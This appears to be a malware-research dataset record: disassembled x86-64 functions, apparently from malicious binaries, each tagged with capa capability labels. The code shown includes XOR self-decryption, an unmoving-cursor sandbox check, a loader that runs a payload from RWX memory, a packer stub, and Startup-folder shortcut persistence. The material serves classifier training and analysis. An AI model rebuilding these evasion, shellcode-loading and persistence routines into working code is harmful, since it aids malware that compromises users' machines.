joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140e61fc4
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140e61fce
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140e61ff7
pop rbp
sub rbp, 0x33
sub rbp, 0xe61fc4
sub rsp, 0x20
jmp 0x140e62016
mov rax, 0xe61fc4
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffffa173796b
xor byte [rax], dl
inc rax
dec rcx
jne 0x140e62035
jmp 0x140e6204c
and esp, edx
invalid
Function at 0x140001000
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
sub rsp, 0x140
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rdi, rcx
movsxd rbp, edx
lea rcx, [rsp + 0x21]
xor ebx, ebx
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x20], bl
call sub.MSVCR90.dll_memset
lea rdx, [rsp + 0x20]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [0x140002200]
lea rcx, [rsp + 0x20]
call qword [sym.imp.MSVCR90.dll_fopen]
mov r12, rax
cmp rax, rbx
jne 0x140001076
xor eax, eax
jmp 0x1400010d1
mov edx, ebp
mov r8d, 2
mov rcx, rax
neg edx
call qword [sym.imp.MSVCR90.dll_fseek]
mov r9, r12
mov r12d, 1
mov r8, rbp
mov rcx, rdi
mov rdx, r12
call qword [sym.imp.MSVCR90.dll_fread]
cmp eax, ebp
jne 0x140001072
cmp rbp, rbx
mov rcx, rbx
jle 0x1400010ce
mov eax, ebx
cdq
and eax, r12d
xor eax, edx
cmp eax, edx
jne 0x1400010bf
xor byte [rcx + rdi], 0x58
jmp 0x1400010c3
xor byte [rcx + rdi], 0x57
add rcx, r12
add ebx, r12d
cmp rcx, rbp
jl 0x1400010ad
mov eax, r12d
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1400012f0
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret

Function at 0x1400010fc
Capabilities:
Check for unmoving mouse cursor

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
lea rcx, [rsp + 0x38]
call qword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
jne 0x14000114a
xor eax, eax
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov ecx, dword [rsp + 0x30]
mov edi, dword [rsp + 0x34]
sub ecx, dword [rsp + 0x38]
sub edi, dword [rsp + 0x3c]
call sub.MSVCR90.dll_abs
mov ecx, edi
mov ebx, eax
call sub.MSVCR90.dll_abs
cmp ebx, 5
jg 0x140001166
cmp eax, 5
jg 0x140001166
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
jne 0x140001122
jmp 0x140001115
mov eax, 1
jmp 0x140001117

Function at 0x140001170
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbx
sub rsp, 0x3e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x3d0], rax
call fcn.1400010fc
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
test rax, rax
jne 0x1400011c1
mov ebx, 0x270f
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
sub rbx, 1
jne 0x1400011ae
jmp 0x1400011dd
lea r8, [0x140002254]
lea rdx, [0x140002210]
mov r9d, 0x10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, [rsp + 0x30]
mov edx, 0x3a0
call section..text
test eax, eax
je 0x140001237
mov edx, 0x3a0
mov r9d, 0x40
mov r8d, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.1400010fc
lea rdx, [rsp + 0x30]
mov r8d, 0x3a0
mov rcx, rbx
call sub.MSVCR90.dll_memcpy
call rbx
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rcx, qword [rsp + 0x3d0]
xor rcx, rsp
call fcn.1400012f0
add rsp, 0x3e0
pop rbx
ret
Function at 0x140001737
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [section..data]
jne 0x14000130a
rol rcx, 0x10
test cx, 0xffff
jne 0x140001306
repz ret
ror rcx, 0x10
jmp 0x140001690
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1400030f0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x1400031e8]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140001715
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1400030f0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140001737
mov rax, qword [rsp + 0x88]
mov qword [0x1400031e8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140003188], rax
mov rax, qword [0x1400031e8]
mov qword [0x140003060], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140003170], rax
mov dword [0x140003050], 0xc0000409
mov dword [0x140003054], 1
mov rax, qword [section..data]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140003008]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1400030e8], eax
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140002260]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400030e8], 0
jne 0x1400017be
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140002180
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
mov eax, dword [rcx + 0x48]
lea rbx, [rcx + 0x28]
mov rsi, qword [rcx]
lea r11, [rcx + 0x28]
add rbx, rax
mov rdi, rcx
movabs rbp, 0x9e3779b185ebca87
movabs r15, 0x27d4eb2f165667c5
movabs r14, 0xc2b2ae3d27d4eb4f
movabs r12, 0x7a1435883d4d519d
cmp rsi, 0x20
jb 0x14000227b
mov rcx, qword [rcx + 8]
mov r8, qword [rdi + 0x18]
mov r9, qword [rdi + 0x20]
mov rax, r8
mov rdx, qword [rdi + 0x10]
mov r10, r9
rol r10, 0x12
rol rax, 0xc
add r10, rax
mov rax, rdx
rol rax, 7
add r10, rax
mov rax, rcx
rol rax, 1
add r10, rax
movabs rax, 0x85ebca77c2b2ae63
imul rcx, r14
imul rdx, r14
imul r8, r14
imul r9, r14
rol rcx, 0x1f
imul rcx, rbp
rol rdx, 0x1f
xor r10, rcx
rol r8, 0x1f
imul r10, rbp
imul rdx, rbp
imul r8, rbp
sub r10, r12
rol r9, 0x1f
xor r10, rdx
imul r10, rbp
imul r9, rbp
sub r10, r12
xor r10, r8
imul r10, rbp
sub r10, r12
xor r10, r9
imul r10, rbp
add rax, r10
add rax, rsi
jmp 0x140002283
lea rax, [rsi + r15]
add rax, qword [rcx + 0x18]
lea rdx, [rdi + 0x30]
cmp rdx, rbx
ja 0x1400022ba
nop dword [rax]
mov rcx, qword [r11]
add rdx, 8
imul rcx, r14
add r11, 8
rol rcx, 0x1f
imul rcx, rbp
xor rax, rcx
rol rax, 0x1b
imul rax, rbp
sub rax, r12
cmp rdx, rbx
jbe 0x140002290
lea rdx, [r11 + 4]
movabs r8, 0x165667b19e3779f9
cmp rdx, rbx
ja 0x1400022e5
mov ecx, dword [r11]
mov r11, rdx
imul rcx, rbp
xor rax, rcx
rol rax, 0x17
imul rax, r14
add rax, r8
cmp r11, rbx
jae 0x14000230b
nop word [rax + rax]
movzx ecx, byte [r11]
inc r11
imul rcx, r15
xor rax, rcx
rol rax, 0xb
imul rax, rbp
cmp r11, rbx
jb 0x1400022f0
mov rbx, qword [rsp + 0x20]
mov rcx, rax
mov rbp, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
shr rcx, 0x21
xor rcx, rax
imul rcx, r14
mov rdx, rcx
shr rdx, 0x1d
xor rdx, rcx
imul rdx, r8
mov rax, rdx
shr rax, 0x20
xor rax, rdx
pop r15
pop r14
pop r12
ret
Function at 0x14000a8a0
Capabilities:
Read file on windows

Disassembly:
test rdx, rdx
je 0x14000aa2c
push rbp
push rsi
push rdi
sub rsp, 0x30
mov qword [rsp + 0x60], r14
xor sil, sil
xor r14d, r14d
mov qword [rsp + 0x50], rbx
mov rdi, rdx
mov rbp, rcx
nop word [rax + rax]
mov rax, qword [0x1400325c8]
mov rcx, qword [0x1400325d0]
sub rax, rcx
je 0x14000a914
mov rdx, qword [0x1400325c0]
cmp rdi, rax
mov rbx, rdi
cmovae rbx, rax
add rdx, rcx
mov r8, rbx
mov rcx, rbp
call fcn.14000d110
add rbp, rbx
sub rdi, rbx
add qword [0x1400325d0], rbx
jmp 0x14000aa12
mov rax, qword [0x1400305b8]
mov rcx, qword [0x1400305b0]
cmp rax, rcx
jb 0x14000a9c0
test sil, sil
jne 0x14000a9c0
cmp rcx, rax
jne 0x14000aa2d
mov rcx, qword [0x1400325d8]
mov r9d, 1
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov rcx, qword [0x1400325e0]
mov eax, eax
sub rcx, rax
je 0x14000aa12
mov rdx, qword [0x1400305a8]
lea r9, [rsp + 0x58]
mov ebx, 0x20003
mov qword [rsp + 0x20], r14
cmp rcx, rbx
cmovb rbx, rcx
mov rcx, qword [0x1400325d8]
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000aa33
mov eax, dword [rsp + 0x58]
cmp rax, rbx
jne 0x14000aa33
add qword [0x140030590], rbx
mov qword [0x1400305b8], r14
mov qword [0x1400305b0], rbx
jmp 0x14000aa12
mov rcx, qword [0x1400325e8]
lea r8, [0x1400305a8]
lea rdx, [0x1400325c0]
mov qword [0x1400325d0], r14
mov qword [0x1400325c8], 0x20000
call fcn.140007130
mov rcx, qword [0x1400325d0]
cmp rcx, qword [0x1400325c8]
sete sil
cmp rax, 0xffffffffffffff88
ja 0x14000aa2d
mov qword [0x1400325c8], rcx
mov qword [0x1400325d0], r14
test rdi, rdi
jne 0x14000a8d0
mov rbx, qword [rsp + 0x50]
mov r14, qword [rsp + 0x60]
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
call fcn.14000a840
int3
call fcn.14000a840
int3

Function at 0x14000aa40
Capabilities:
Delete file

Disassembly:
push rbx
sub rsp, 0x80
mov rcx, qword [0x1400305a0]
xor ebx, ebx
test rcx, rcx
je 0x14000aad5
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
test eax, eax
jne 0x14000aab6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], rbx
xor edx, edx
mov r8d, eax
mov dword [rsp + 0x28], ebx
lea rax, [rsp + 0x90]
mov r9d, 0x400
mov ecx, 0x1300
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
lea rcx, str.Failed_to_send_CTRL_C_to_child_process.
call fcn.14000f64c
mov rcx, qword [rsp + 0x90]
call fcn.14000f64c
mov rcx, qword [0x1400305a0]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x1400305a0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x1400325f0], bl
je 0x14000ab25
lea rax, [0x1400305c0]
mov qword [rsp + 0x40], rbx
lea rcx, [0x1400289c8]
mov qword [rsp + 0x50], rax
mov eax, 0x414
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x70], rcx
lea rcx, [rsp + 0x40]
mov word [rsp + 0x60], ax
mov dword [rsp + 0x48], 3
mov dword [rsp + 0x64], ebx
mov qword [rsp + 0x68], rbx
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
add rsp, 0x80
pop rbx
ret
Function at 0x14000f06c
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x14000eeff
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000eeff
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000eeff
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000eeff
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000eeff
cmp dword [rcx + 0x84], 0xe
jbe 0x14000eeff
cmp dword [rcx + 0xf8], 0
je 0x14000eeff
mov ecx, ebx
call fcn.14000efa0
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.14000ed90
cmp dword [rbp + 0x20], 0
je 0x14000ef4c
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000ef54
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000ee98
Function at 0x7adfd0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x7adfdd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x7adfed
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x7adfd5
lea eax, [rcx + 1]
jmp 0x7adffb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x7ae00e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x7adff4
sub eax, 3
jb 0x7ae02e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x7ae07d
sar eax, 1
movsxd rbp, eax
jb 0x7ae064
jmp 0x7ae03c
add ebx, ebx
jne 0x7ae03a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x7ae064
inc ecx
add ebx, ebx
jne 0x7ae04a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x7ae064
call r11
adc ecx, ecx
add ebx, ebx
jne 0x7ae05d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x7ae04c
add ecx, 2
jmp 0x7ae069
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.007adf92
jmp 0x7adfdd
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x2e0200
mov dl, 0x29
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x7ae0cd
cmp rsi, rcx
jae 0x7ae0d5
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x7ae0b4
cmp al, 0x8f
ja 0x7ae0b4
cmp byte [rsi - 2], 0xf
je 0x7ae0ba
sub al, 0xe8
cmp al, 1
ja 0x7ae09e
cmp rsi, rcx
jae 0x7ae0d5
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x7ae0a4
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x7ae0d5
lodsb al, byte [rsi]
jmp 0x7ae0b4
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x397000]
mov eax, dword [rdi]
or eax, eax
je 0x7ae132
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x3af2e8]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x7ae0e2
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x7ae12c
mov qword [rbx], rax
add rbx, 8
jmp 0x7ae102
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x7ae16c
cmp al, 0xef
ja 0x7ae15e
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x7ae13e
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x7ae14d
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x22f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x7ae1c0
sub rsp, 0xffffffffffffff80
jmp 0x6d3270
Function at 0x140001154
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x1c], 0x30
mov eax, dword [rbp - 0x1c]
mov rax, qword gs:[rax]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rax + 8]
mov qword [rbp - 0x18], rax
mov dword [rbp - 4], 0
jmp 0x1400011ac
mov rax, qword [rbp - 0x10]
cmp rax, qword [rbp - 0x18]
jne 0x14000119e
mov dword [rbp - 4], 1
jmp 0x1400011e3
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [0x140006fe0]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], 0
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
lock cmpxchg qword [rdx], rcx
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x14000118b
mov rax, qword [0x140006ff0]
mov eax, dword [rax]
cmp eax, 1
jne 0x1400011fd
mov ecx, 0x1f
call sym._amsg_exit
jmp 0x14000123c
mov rax, qword [0x140006ff0]
mov eax, dword [rax]
test eax, eax
jne 0x140001232
mov rax, qword [0x140006ff0]
mov dword [rax], 1
mov rax, qword [0x140007030]
mov rdx, rax
mov rax, qword [0x140007020]
mov rcx, rax
call sym._initterm
jmp 0x14000123c
mov dword [0x140017024], 1
mov rax, qword [0x140006ff0]
mov eax, dword [rax]
cmp eax, 1
jne 0x140001270
mov rax, qword [0x140007010]
mov rdx, rax
mov rax, qword [0x140007000]
mov rcx, rax
call sym._initterm
mov rax, qword [0x140006ff0]
mov dword [rax], 2
cmp dword [rbp - 4], 0
jne 0x140001294
mov rax, qword [0x140006fe0]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0
mov rdx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
xchg qword [rax], rdx
mov rax, qword [0x140006f30]
mov rax, qword [rax]
test rax, rax
je 0x1400012bf
mov rax, qword [0x140006f30]
mov rax, qword [rax]
mov r8d, 0
mov edx, 2
mov ecx, 0
call rax
call sym._pei386_runtime_relocator
mov rax, qword [sym._gnu_exception_handler]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call rax
mov rdx, qword [0x140006fd0]
mov qword [rdx], rax
lea rax, [sym.__mingw_invalidParameterHandler]
mov rcx, rax
call sym._set_invalid_parameter_handler
call sym._fpreset
mov eax, dword [0x140017004]
lea rdx, [0x140017008]
mov ecx, eax
call sym.duplicate_ppstrings
call sym.__main
mov rax, qword [0x140006f60]
mov rax, qword [rax]
mov rdx, qword [0x140017010]
mov qword [rax], rdx
mov rcx, qword [0x140017010]
mov rdx, qword [0x140017008]
mov eax, dword [0x140017004]
mov r8, rcx
mov ecx, eax
call sym.main
mov dword [0x14001701c], eax
mov eax, dword [0x140017020]
test eax, eax
jne 0x14000135d
mov eax, dword [0x14001701c]
mov ecx, eax
call sym.exit
mov eax, dword [0x140017024]
test eax, eax
jne 0x14000136c
call sym._cexit
mov eax, dword [0x14001701c]
add rsp, 0x70
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140006f90]
mov dword [rax], 1
mov rax, qword [0x140006fa0]
mov dword [rax], 1
mov rax, qword [0x140006fb0]
mov dword [rax], 1
mov rax, qword [0x140006f50]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400016d0
Capabilities:
Get common file path
Get startup folder

Disassembly:
push rbp
push rdi
sub rsp, 0x378
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x310], rcx
lea rax, [rbp + 0x1e0]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 7
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call rax
lea rax, [rbp + 0x1e0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x1e0]
add rax, rdx
movabs rdx, 0x6c7070416e6f4d5c
movabs rcx, 0x2e6e6f6974616369
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov dword [rax + 0x10], 0x6b6e6c
lea rax, [rbp + 0x1d8]
mov qword [rsp + 0x20], rax
mov r9, qword [0x140006ed0]
mov r8d, 1
mov edx, 0
mov rax, qword [0x140006eb0]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoCreateInstance]
call rax
mov dword [rbp + 0x2ec], eax
mov edx, dword [rbp + 0x2ec]
lea rax, [rbp + 0x1c0]
mov r8d, edx
lea rdx, [0x140006050]
mov rcx, rax
call sym.sprintf
cmp dword [rbp + 0x2ec], 0
js 0x1400018dd
mov rax, qword [rbp + 0x1d8]
mov rax, qword [rax]
mov r8, qword [rax + 0xa0]
mov rax, qword [rbp + 0x1d8]
mov rdx, qword [rbp + 0x310]
mov rcx, rax
call r8
mov rax, qword [rbp + 0x1d8]
mov rax, qword [rax]
mov r9, qword [rax]
mov rax, qword [rbp + 0x1d8]
lea rdx, [rbp + 0x1b8]
mov r8, rdx
mov rdx, qword [0x140006ec0]
mov rcx, rax
call r9
mov dword [rbp + 0x2ec], eax
mov edx, dword [rbp + 0x2ec]
lea rax, [rbp + 0x1c0]
mov r8d, edx
lea rdx, [0x140006050]
mov rcx, rax
call sym.sprintf
cmp dword [rbp + 0x2ec], 0
js 0x1400018c3
lea rdx, [rbp - 0x50]
mov eax, 0
mov ecx, 0x41
mov rdi, rdx
rep stosq qword [rdi], rax
lea rdx, [rbp + 0x1e0]
mov dword [rsp + 0x28], 0x104
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, rdx
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call rax
mov rax, qword [rbp + 0x1b8]
mov rax, qword [rax]
mov r9, qword [rax + 0x30]
mov rax, qword [rbp + 0x1b8]
lea rdx, [rbp - 0x50]
mov r8d, 1
mov rcx, rax
call r9
mov dword [rbp + 0x2ec], eax
mov rax, qword [rbp + 0x1b8]
mov rax, qword [rax]
mov rdx, qword [rax + 0x10]
mov rax, qword [rbp + 0x1b8]
mov rcx, rax
call rdx
mov rax, qword [rbp + 0x1d8]
mov rax, qword [rax]
mov rdx, qword [rax + 0x10]
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
call rdx
nop
add rsp, 0x378
pop rdi
pop rbp
ret
Function at 0x1400018e8
Capabilities:
Create process on windows

Disassembly:
push rbp
sub rsp, 0x1e0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x170], rcx
lea rax, [rbp + 0xf0]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0xf0], 0x68
mov dword [rbp + 0x12c], 1
mov word [rbp + 0x130], 0
lea rax, [rbp + 0xd0]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0x170]
lea rdx, [rbp + 0xd0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0xf0]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x1400019b9
mov eax, 0xffffffff
jmp 0x1400019fc
mov rax, qword [rbp + 0xd0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x1e0
pop rbp
ret